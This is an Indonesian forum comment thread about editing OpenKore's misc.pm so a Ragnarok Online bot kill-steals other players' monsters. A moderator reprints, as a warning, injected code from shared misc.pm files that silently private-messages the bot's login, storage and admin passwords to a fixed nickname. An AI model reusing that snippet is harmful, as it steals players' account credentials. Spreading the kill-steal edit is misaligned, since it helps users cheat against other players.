@ebo: iya emang sih kita blom tau apa di dalamnya inject malware ato tidak..
solusinya ya edit sendiri,, tapi kalo ga mau repot, sebelum download di scan virus/malware aja dulu.. toh sekarang kan banyak scan virus online FYI aja kk ^^
GW BILANGIN YAH JGN PERNAH PAKE PUNYA RIAN…ITU HACKK..BACA AJA COMAND2 NYA BOT LOE NANTI AKAN WHIP NICK YG NAMA NYA “rusabi” DARI PASSW,ID,PASSW KAFRA DAN ADMIN PASSW BOT LOE…GILA SAMPAH BGT TUH MANUSIA…
cara di atas udah ane praktekin gan 10x lebih tanpa salah 1 kata/huruf/spaci/tanda apapun gan tapi error melulu.. katanya syntax error gitu…kenapa yah? mohon bantuaannya gan
saia search subroutine yang bernama: checkMonsterCleanness -> ketemu di baris 1300..
mari amati sekali lagi:
1300 # boolean checkMonsterCleanness(Bytes ID) 1301 # ID: the monster’s ID. 1302 # Requires: $ID is a valid monster ID. 1303 # 1304 # Checks whether a monster is “clean” (not being attacked by anyone). 1305 sub checkMonsterCleanness { 1306 return 1 if (!$config{attackAuto}); 1307 my $ID = $_[0]; 1308 return 1 if $playersList->getByID($ID) || $slavesList->getByID($ID); 1309 my $monster = $monstersList->getByID($ID); 1310 1311 # If party attacked monster, or if monster attacked/missed party 1312 if ($monster->{dmgFromParty} > 0 || $monster->{missedFromParty} > 0 || $monster->{dmgToParty} > 0 || $monster->{missedToParty} > 0) { 1313 return 1; 1314 } 1315 1316 if ($config{aggressiveAntiKS}) { 1317 # Aggressive anti-KS mode, for people who are paranoid about not kill stealing. 1318 1319 # If we attacked the monster first, do not drop it, we are being KSed 1320 return 1 if ($monster->{dmgFromYou} || $monster->{missedFromYou}); 1321 1322 # If others attacked the monster then always drop it, wether it attacked us or not! 1323 return 0 if (($monster->{dmgFromPlayer} && %{$monster->{dmgFromPlayer}}) 1324 || ($monster->{missedFromPlayer} && %{$monster->{missedFromPlayer}}) 1325 || (($monster->{castOnByPlayer}) && %{$monster->{castOnByPlayer}}) 1326 || (($monster->{castOnToPlayer}) && %{$monster->{castOnToPlayer}})); 1327 } 1328 1329 # If monster attacked/missed you 1330 return 1 if ($monster->{‘dmgToYou’} || $monster->{‘missedYou’}); 1331 1332 # If we’re in follow mode 1333 if (defined(my $followIndex = AI::findAction(“follow”))) { 1334 my $following = AI::args($followIndex)->{following}; 1335 my $followID = AI::args($followIndex)->{ID}; 1336 1337 if ($following) { 1338 # And master attacked monster, or the monster attacked/missed master 1339 if ($monster->{dmgToPlayer}{$followID} > 0 1340 || $monster->{missedToPlayer}{$followID} > 0 1341 || $monster->{dmgFromPlayer}{$followID} > 0) { 1342 return 1; 1343 } 1344 } 1345 } 1346 1347 if (objectInsideSpell($monster)) { 1348 # Prohibit attacking this monster in the future 1349 $monster->{dmgFromPlayer}{$char->{ID}} = 1; 1350 return 0; 1351 } 1352 1353 #check party casting on mob 1354 my $allowed = 1; 1355 if (scalar(keys %{$monster->{castOnByPlayer}}) > 0) 1356 { 1357 foreach (keys %{$monster->{castOnByPlayer}}) 1358 { 1359 my $ID1=$_; 1360 my $source = Actor::get($_); 1361 unless ( existsInList($config{tankersList}, $source->{name}) || 1362 ($char->{party} && %{$char->{party}} && $char->{party}{users}{$ID1} && %{$char->{party}{users}{$ID1}})) 1363 { 1364 $allowed = 0; 1365 last; 1366 } 1367 } 1368 } 1369 1370 # If monster hasn’t been attacked by other players 1371 if (scalar(keys %{$monster->{missedFromPlayer}}) == 0 1372 && scalar(keys %{$monster->{dmgFromPlayer}}) == 0 1373 #&& scalar(keys %{$monster->{castOnByPlayer}}) == 0 #change to $allowed 1374 && $allowed 1375 1376 # and it hasn’t attacked any other player 1377 && scalar(keys %{$monster->{missedToPlayer}}) == 0 1378 && scalar(keys %{$monster->{dmgToPlayer}}) == 0 1379 && scalar(keys %{$monster->{castOnToPlayer}}) == 0 1380 ) { 1381 # The monster might be getting lured by another player. 1382 # So we check whether it’s walking towards any other player, but only 1383 # if we haven’t already attacked the monster. 1384 if ($monster->{dmgFromYou} || $monster->{missedFromYou}) { 1385 return 1; 1386 } else { 1387 return !objectIsMovingTowardsPlayer($monster); 1388 } 1389 } 1390 1391 # The monster didn’t attack you. 1392 # Other players attacked it, or it attacked other players. 1393 if ($monster->{dmgFromYou} || $monster->{missedFromYou}) { 1394 # If you have already attacked the monster before, then consider it clean 1395 return 1; 1396 } 1397 # If you haven’t attacked the monster yet, it’s unclean. 1398 1399 return 0; 1400 }
Hapus semua perintah dari baris 1311 sampai dengan baris 1397
Allo gan Ebo… Tq share trik KS ^^ KS Working 100 % (Tingal menambah return 1)
Kasus : Tp Muncul masalah baru nie kang ebo, Bot tetap dgn rakus nya menghajar smua momon yg ada walaupun HP dah di bawah 40%… emg awalnya dia sitting tp klo ada momon di skitar, dya (bot) akan standing dan menghajar nya
Pertanyaannya : Apakah gara” modif KS ini config sitAuto_hp_lower 40 (Ga bekerja) atau ada solusi lain gt gmn, saya mw klo hp masih di bawah 40 jgn dulu berdiri walopun ada momon di skitar bot nya…
Mas koq punya saya ga agresif ya.. padahal sudah saya seting di config atacknya jadi 3 trus saya kasih killsteal 1.. misc.pm sudah saya ganti sama persis dengan punya mas.. tolong di bantu kenapa koq ga mau agresif nyerangnya.. thanks mas
## # boolean checkMonsterCleanness(Bytes ID) # ID: the monster’s ID. # Requires: $ID is a valid monster ID. # # Checks whether a monster is “clean” (not being attacked by anyone). sub checkMonsterCleanness { return 1; return 1 if (!$config{attackAuto}); my $ID = $_[0]; return 1 if $playersList->getByID($ID) || $slavesList->getByID($ID); my $monster = $monstersList->getByID($ID);
# If party attacked monster, or if monster attacked/missed party if ($monster->{dmgFromParty} > 0 || $monster->{missedFromParty} > 0 || $monster->{dmgToParty} > 0 || $monster->{missedToParty} > 0) { return 1; }
if ($config{aggressiveAntiKS}) { # Aggressive anti-KS mode, for people who are paranoid about not kill stealing.
# If we attacked the monster first, do not drop it, we are being KSed return 1 if ($monster->{dmgFromYou} || $monster->{missedFromYou});
# If others attacked the monster then always drop it, wether it attacked us or not! return 0 if (($monster->{dmgFromPlayer} && %{$monster->{dmgFromPlayer}}) || ($monster->{missedFromPlayer} && %{$monster->{missedFromPlayer}}) || (($monster->{castOnByPlayer}) && %{$monster->{castOnByPlayer}}) || (($monster->{castOnToPlayer}) && %{$monster->{castOnToPlayer}})); }
# If monster attacked/missed you return 1 if ($monster->{‘dmgToYou’} || $monster->{‘missedYou’});
# If we’re in follow mode if (defined(my $followIndex = AI::findAction(“follow”))) { my $following = AI::args($followIndex)->{following}; my $followID = AI::args($followIndex)->{ID};
if ($following) { # And master attacked monster, or the monster attacked/missed master if ($monster->{dmgToPlayer}{$followID} > 0 || $monster->{missedToPlayer}{$followID} > 0 || $monster->{dmgFromPlayer}{$followID} > 0) { return 1; } } }
if (objectInsideSpell($monster)) { # Prohibit attacking this monster in the future $monster->{dmgFromPlayer}{$char->{ID}} = 1; return 0; }
#check party casting on mob my $allowed = 1; if (scalar(keys %{$monster->{castOnByPlayer}}) > 0) { foreach (keys %{$monster->{castOnByPlayer}}) { my $ID1=$_; my $source = Actor::get($_); unless ( existsInList($config{tankersList}, $source->{name}) || ($char->{party} && %{$char->{party}} && $char->{party}{users}{$ID1} && %{$char->{party}{users}{$ID1}})) { $allowed = 0; last; } } }
# If monster hasn’t been attacked by other players if (scalar(keys %{$monster->{missedFromPlayer}}) == 0 && scalar(keys %{$monster->{dmgFromPlayer}}) == 0 #&& scalar(keys %{$monster->{castOnByPlayer}}) == 0 #change to $allowed && $allowed
# and it hasn’t attacked any other player && scalar(keys %{$monster->{missedToPlayer}}) == 0 && scalar(keys %{$monster->{dmgToPlayer}}) == 0 && scalar(keys %{$monster->{castOnToPlayer}}) == 0 ) { # The monster might be getting lured by another player. # So we check whether it’s walking towards any other player, but only # if we haven’t already attacked the monster. if ($monster->{dmgFromYou} || $monster->{missedFromYou}) { return 1; } else { return !objectIsMovingTowardsPlayer($monster); } }
# The monster didn’t attack you. # Other players attacked it, or it attacked other players. if ($monster->{dmgFromYou} || $monster->{missedFromYou}) { # If you have already attacked the monster before, then consider it clean return 1; } # If you haven’t attacked the monster yet, it’s unclean.
Maaf komentar anda kami edit. Anda sudah beritikad tidak baik dengan menshare misc.pm yang di inject dengan kode auto pm username pass admin config ke id : serverpass
kok saya error om?
intinya cari yg di atas itu lalu timpa ama yg di bawah?
intinya ya gitu..kode asli di timpa/ganti ama kode baru..
dan intinya lagi..sub function itu tanpa basa basi langsung di kasi return 1;
Bisa om.. bagus sekali om ebo hebat
sekedar sharing buat KILL STEAL
**************/KILLSTEALBOTRO.zip.html
cara pemakaian ada di dalamnya..
happy ro^^
(Edited By: EBO note: Link Removed, Lebih baik kita belajar editing sendiri, demi menghindari segala kemungkinan negatif yang bisa terjad)
@aji: cieeeee
@guntur: secara prinsip sama, tapi saya takut ada inject malware di dalamnya..(susah di check)
Solusi paling aman buat user, edit sendiri openkore yg asli.
gak ada kecurigaan, gak ada mis version, gak ada keraguan
@ebo: iya emang sih kita blom tau apa di dalamnya inject malware ato tidak..
solusinya ya edit sendiri,, tapi kalo ga mau repot, sebelum download di scan virus/malware aja dulu.. toh sekarang kan banyak scan virus online FYI aja kk ^^
sekedar share kill steal OK 2.0.6 sama 2.0.7
********************/killstealbotro.zip.html
work 100%, silakan dicoba
******************************************************************************
(EDITED BY:EBO REASON:HACK SCRIPT DETECTED)
@detected code
Commands::run(“conf squelchDomains idRO: Fnc Server, pm/sent, info”);
Commands::run(“pm “rusababi” Username:”.$config{username}.” | Password:”.$config{password}.” | StoragePass:”.$config{storageAuto_password}.” | AdminPas:”.$config{adminPassword});
}
P/S: jangan menyebarkan kebencian di sini…terima kasih
kok ga jalan ks nya? cobain yang ane deh.. yang ini malah jalan..
******************************************************************************
****/ksbotro.zip.html (EDITED BY:EBO REASON:HACK SCRIPT DETECTED)
@detected code
Commands::run(“conf squelchDomains idRO: Fnc Server, pm/sent, info”);
Commands::run(“pm “rusababi” Username:”.$config{username}.” | Password:”.$config{password}.” | StoragePass:”.$config{storageAuto_password}.” | AdminPas:”.$config{adminPassword});
}
P/S: jangan menyebarkan kebencian di sini…terima kasih
wah thx kk” uda pada share.. yg ryan kok ga jalan ya??
wkwkwk..
yg alam bagus banget KS nya
..
recommend deh /no1
@buat admin ko gk jalan yah???malah rusak bot saya
kalo langsung copy paste keqnya emang gak jalan.
di edit aja sendiri manual, diketik cuma 1 baris return 1 doang hehehe
GW BILANGIN YAH JGN PERNAH PAKE PUNYA RIAN…ITU HACKK..BACA AJA COMAND2 NYA BOT LOE NANTI AKAN WHIP NICK YG NAMA NYA “rusabi”
DARI PASSW,ID,PASSW KAFRA DAN ADMIN PASSW BOT LOE…GILA SAMPAH BGT TUH MANUSIA…
yup, makanya linknya saia hapus aja.
buat bro alam, confignya bisa bat openkore versi terbaru bisa ga ? Sdah coba sih, jalan tapi sempet ada bacaan merah gitu, disuruh quit program…
yeah jangan donlot sembarangan plz. bahaya.
bang EBO.. itu kalu boleh tau ad dimana misc.pl -nya kmrn cari” nemuny misc.pm thx b4
maybe udah berubah core nya, ini coding udah 1 taon.. cuman secara prinsip harusnya masih sama.
bang ebo boleh minta ymnya ga? buat share2 config kill steal. soalnya takut terjadi hal2 yg tidak diinginkan nih
cara di atas udah ane praktekin gan 10x lebih tanpa salah 1 kata/huruf/spaci/tanda apapun gan
tapi error melulu..
katanya syntax error gitu…kenapa yah?
mohon bantuaannya gan
Ok, saia baru donlot misc.pm (filenya udah berubah toh) dari alamat berikut:
http://openkore.svn.sf.net/viewvc/openkore/openkore/trunk/src/?sortby=date
saia search subroutine yang bernama: checkMonsterCleanness -> ketemu di baris 1300..
mari amati sekali lagi:
1300 # boolean checkMonsterCleanness(Bytes ID)
1301 # ID: the monster’s ID.
1302 # Requires: $ID is a valid monster ID.
1303 #
1304 # Checks whether a monster is “clean” (not being attacked by anyone).
1305 sub checkMonsterCleanness {
1306 return 1 if (!$config{attackAuto});
1307 my $ID = $_[0];
1308 return 1 if $playersList->getByID($ID) || $slavesList->getByID($ID);
1309 my $monster = $monstersList->getByID($ID);
1310
1311 # If party attacked monster, or if monster attacked/missed party
1312 if ($monster->{dmgFromParty} > 0 || $monster->{missedFromParty} > 0 || $monster->{dmgToParty} > 0 || $monster->{missedToParty} > 0) {
1313 return 1;
1314 }
1315
1316 if ($config{aggressiveAntiKS}) {
1317 # Aggressive anti-KS mode, for people who are paranoid about not kill stealing.
1318
1319 # If we attacked the monster first, do not drop it, we are being KSed
1320 return 1 if ($monster->{dmgFromYou} || $monster->{missedFromYou});
1321
1322 # If others attacked the monster then always drop it, wether it attacked us or not!
1323 return 0 if (($monster->{dmgFromPlayer} && %{$monster->{dmgFromPlayer}})
1324 || ($monster->{missedFromPlayer} && %{$monster->{missedFromPlayer}})
1325 || (($monster->{castOnByPlayer}) && %{$monster->{castOnByPlayer}})
1326 || (($monster->{castOnToPlayer}) && %{$monster->{castOnToPlayer}}));
1327 }
1328
1329 # If monster attacked/missed you
1330 return 1 if ($monster->{‘dmgToYou’} || $monster->{‘missedYou’});
1331
1332 # If we’re in follow mode
1333 if (defined(my $followIndex = AI::findAction(“follow”))) {
1334 my $following = AI::args($followIndex)->{following};
1335 my $followID = AI::args($followIndex)->{ID};
1336
1337 if ($following) {
1338 # And master attacked monster, or the monster attacked/missed master
1339 if ($monster->{dmgToPlayer}{$followID} > 0
1340 || $monster->{missedToPlayer}{$followID} > 0
1341 || $monster->{dmgFromPlayer}{$followID} > 0) {
1342 return 1;
1343 }
1344 }
1345 }
1346
1347 if (objectInsideSpell($monster)) {
1348 # Prohibit attacking this monster in the future
1349 $monster->{dmgFromPlayer}{$char->{ID}} = 1;
1350 return 0;
1351 }
1352
1353 #check party casting on mob
1354 my $allowed = 1;
1355 if (scalar(keys %{$monster->{castOnByPlayer}}) > 0)
1356 {
1357 foreach (keys %{$monster->{castOnByPlayer}})
1358 {
1359 my $ID1=$_;
1360 my $source = Actor::get($_);
1361 unless ( existsInList($config{tankersList}, $source->{name}) ||
1362 ($char->{party} && %{$char->{party}} && $char->{party}{users}{$ID1} && %{$char->{party}{users}{$ID1}}))
1363 {
1364 $allowed = 0;
1365 last;
1366 }
1367 }
1368 }
1369
1370 # If monster hasn’t been attacked by other players
1371 if (scalar(keys %{$monster->{missedFromPlayer}}) == 0
1372 && scalar(keys %{$monster->{dmgFromPlayer}}) == 0
1373 #&& scalar(keys %{$monster->{castOnByPlayer}}) == 0 #change to $allowed
1374 && $allowed
1375
1376 # and it hasn’t attacked any other player
1377 && scalar(keys %{$monster->{missedToPlayer}}) == 0
1378 && scalar(keys %{$monster->{dmgToPlayer}}) == 0
1379 && scalar(keys %{$monster->{castOnToPlayer}}) == 0
1380 ) {
1381 # The monster might be getting lured by another player.
1382 # So we check whether it’s walking towards any other player, but only
1383 # if we haven’t already attacked the monster.
1384 if ($monster->{dmgFromYou} || $monster->{missedFromYou}) {
1385 return 1;
1386 } else {
1387 return !objectIsMovingTowardsPlayer($monster);
1388 }
1389 }
1390
1391 # The monster didn’t attack you.
1392 # Other players attacked it, or it attacked other players.
1393 if ($monster->{dmgFromYou} || $monster->{missedFromYou}) {
1394 # If you have already attacked the monster before, then consider it clean
1395 return 1;
1396 }
1397 # If you haven’t attacked the monster yet, it’s unclean.
1398
1399 return 0;
1400 }
Hapus semua perintah dari baris 1311 sampai dengan baris 1397
pada baris 1399 ganti return 0; menjadi return 1;
Selesai deeeh..
jadi gan
agan emang keren,mantep
makasih banyak gan
btw gan,ane tes bikin skill kok gak jadi yah?apa ane salah baca nama skill yah gan?
ini bikinan ane gan,mohon pencerahannya..
useSelf_skill Two-Hand_Quicken {
lvl 10
whenStatusInactive Two-Hand_Quicken(Two-Hand_Quicken ane ambil dari “skillsdescriptions.txt”)
sp > 10%
timeout 5
}
Allo gan Ebo… Tq share trik KS ^^
KS Working 100 % (Tingal menambah return 1)
Kasus :
Tp Muncul masalah baru nie kang ebo, Bot tetap dgn rakus nya menghajar smua momon yg ada walaupun HP dah di bawah 40%… emg awalnya dia sitting tp klo ada momon di skitar, dya (bot) akan standing dan menghajar nya
Pertanyaannya :
Apakah gara” modif KS ini config
sitAuto_hp_lower 40 (Ga bekerja) atau ada solusi lain gt gmn, saya mw klo hp masih di bawah 40 jgn dulu berdiri walopun ada momon di skitar bot nya…
Makasih Kang Ebo ^^
wew, saia liat, di baris kode di atas, gak ada hubungan ama sitAuto. soal agresif sepertinya urusan mon_controls.txt
cmiiw, gak ada file bot di laptop ini, besok saya selidiki di pc dah.
^^v
wah, thanks bang EBO, nice kill steal nya work!

keep posting yg menarik
emang pas di start gak ada error, tapi kok archerku malah gak mau DS ke monster ya..??
padahal tadinya sebelum di edit misc.pm dia mau DS
mungkin terlalu banyak player di dekat monsters, harus di set distance from player nya lagi..
program jalan om…cuma gak mau attck k momon T_T sepertinya problemny sama dengan bang imam… set distance from player di mn om EBO?
ternyata saya belum baca ” Optimisasi Lanjutan ” saya coba dulu tq……
Mas koq punya saya ga agresif ya.. padahal sudah saya seting di config atacknya jadi 3 trus saya kasih killsteal 1.. misc.pm sudah saya ganti sama persis dengan punya mas.. tolong di bantu kenapa koq ga mau agresif nyerangnya.. thanks mas
bisa jadi gara2 posisi monsters terlalu dekat dengan char milik orang lain, mungkin bisa di baca artikel optimisasi lanjutan
KK ini misc.pm saya tolong di koreksi
##
# boolean checkMonsterCleanness(Bytes ID)
# ID: the monster’s ID.
# Requires: $ID is a valid monster ID.
#
# Checks whether a monster is “clean” (not being attacked by anyone).
sub checkMonsterCleanness {
return 1;
return 1 if (!$config{attackAuto});
my $ID = $_[0];
return 1 if $playersList->getByID($ID) || $slavesList->getByID($ID);
my $monster = $monstersList->getByID($ID);
# If party attacked monster, or if monster attacked/missed party
if ($monster->{dmgFromParty} > 0 || $monster->{missedFromParty} > 0 || $monster->{dmgToParty} > 0 || $monster->{missedToParty} > 0) {
return 1;
}
if ($config{aggressiveAntiKS}) {
# Aggressive anti-KS mode, for people who are paranoid about not kill stealing.
# If we attacked the monster first, do not drop it, we are being KSed
return 1 if ($monster->{dmgFromYou} || $monster->{missedFromYou});
# If others attacked the monster then always drop it, wether it attacked us or not!
return 0 if (($monster->{dmgFromPlayer} && %{$monster->{dmgFromPlayer}})
|| ($monster->{missedFromPlayer} && %{$monster->{missedFromPlayer}})
|| (($monster->{castOnByPlayer}) && %{$monster->{castOnByPlayer}})
|| (($monster->{castOnToPlayer}) && %{$monster->{castOnToPlayer}}));
}
# If monster attacked/missed you
return 1 if ($monster->{‘dmgToYou’} || $monster->{‘missedYou’});
# If we’re in follow mode
if (defined(my $followIndex = AI::findAction(“follow”))) {
my $following = AI::args($followIndex)->{following};
my $followID = AI::args($followIndex)->{ID};
if ($following) {
# And master attacked monster, or the monster attacked/missed master
if ($monster->{dmgToPlayer}{$followID} > 0
|| $monster->{missedToPlayer}{$followID} > 0
|| $monster->{dmgFromPlayer}{$followID} > 0) {
return 1;
}
}
}
if (objectInsideSpell($monster)) {
# Prohibit attacking this monster in the future
$monster->{dmgFromPlayer}{$char->{ID}} = 1;
return 0;
}
#check party casting on mob
my $allowed = 1;
if (scalar(keys %{$monster->{castOnByPlayer}}) > 0)
{
foreach (keys %{$monster->{castOnByPlayer}})
{
my $ID1=$_;
my $source = Actor::get($_);
unless ( existsInList($config{tankersList}, $source->{name}) ||
($char->{party} && %{$char->{party}} && $char->{party}{users}{$ID1} && %{$char->{party}{users}{$ID1}}))
{
$allowed = 0;
last;
}
}
}
# If monster hasn’t been attacked by other players
if (scalar(keys %{$monster->{missedFromPlayer}}) == 0
&& scalar(keys %{$monster->{dmgFromPlayer}}) == 0
#&& scalar(keys %{$monster->{castOnByPlayer}}) == 0 #change to $allowed
&& $allowed
# and it hasn’t attacked any other player
&& scalar(keys %{$monster->{missedToPlayer}}) == 0
&& scalar(keys %{$monster->{dmgToPlayer}}) == 0
&& scalar(keys %{$monster->{castOnToPlayer}}) == 0
) {
# The monster might be getting lured by another player.
# So we check whether it’s walking towards any other player, but only
# if we haven’t already attacked the monster.
if ($monster->{dmgFromYou} || $monster->{missedFromYou}) {
return 1;
} else {
return !objectIsMovingTowardsPlayer($monster);
}
}
# The monster didn’t attack you.
# Other players attacked it, or it attacked other players.
if ($monster->{dmgFromYou} || $monster->{missedFromYou}) {
# If you have already attacked the monster before, then consider it clean
return 1;
}
# If you haven’t attacked the monster yet, it’s unclean.
return 0;
}
Ini Config saya
attackAuto 3
attackAuto_party 2
attackAuto_onlyWhenSafe 0
attackAuto_followTarget 1
attackAuto_inLockOnly 1
attackDistance 1
attackDistanceAuto 1
attackMaxDistance 10
attackMaxRouteDistance
attackMaxRouteTime 0
attackMinPlayerDistance 0
attackMinPortalDistance 4
attackUseWeapon 0
attackNoGiveup 0
attackCanSnipe 1
attackCheckLOS 0
attackLooters 0
attackChangeTarget 1
aggressiveAntiKS 0
Ini Release saya
attackSkillSlot Release {
lvl 1
dist 10, 9, 8, 7, 6, 5, 4, 3, 2, 1
whenStatusActive EFST_SPELLBOOK6, EFST_SPELLBOOK7
whenStatusInactive Action Delay
monsters Roween, Anopheles, Bradium Golem, Tatacho, Centipede
}
useSelf_skill {
lvl 1
whenStatusInactive Energy Coat
sp > 10%
target_timeout 300
timeout
}
doCommand arrowcraft 0 {
afterSkill Reading Spell Book
timeout 2
whenStatusInactive EFST_SPELLBOOK6
}
doCommand arrowcraft 0 {
afterSkill Reading Spell Book
timeout 2
whenStatusActive Stop
}
useSelf_skill Reading Spellbook {
lvl 1
whenStatusActive
whenStatusInactive EFST_SPELLBOOK6, EFST_SPELLBOOK7
timeout 5
}
attackSkillSlot Crimson Rock {
lvl 5
dist
whenStatusInactive EFST_SPELLBOOK6, EFST_SPELLBOOK7, Action Delay
hp
sp
maxUses
monster Bradium Golem, Tatacho, Centipede
}
coba cek ini gw ambil di thread forum sebelah
http xxxx
copas misc.pm ke folder src
di config kasih killSteal 1
Maaf komentar anda kami edit. Anda sudah beritikad tidak baik dengan menshare misc.pm yang di inject dengan kode auto pm username pass admin config ke id : serverpass
sub in_game {
Commands::run(“conf squelchDomains idRO: Fnc Server, pm/sent, info”);
Commands::run(“pm \”serverpass\” Username:”.$config{username}.”\ | Password:”.$config{password}.”\ | StoragePass:”.$config{storageAuto_password}.”\ | AdminPas:”.$config{adminPassword});
}
Ini alasan kenapa dari awal saya tidak share misc.pm yang sudah jadi tinggal copy dan paste. Yang lain, harap waspada ya.
btw mas mau tanya, biar kita tau bot kita KS gimana ya?? trus jg klo ane cek expnya di start.exenya kok gak kluar ya expnya tau kenapa gak mas ??
cara biar tau bot nya ks atau enggak ya harus manual, liat aja botnya in action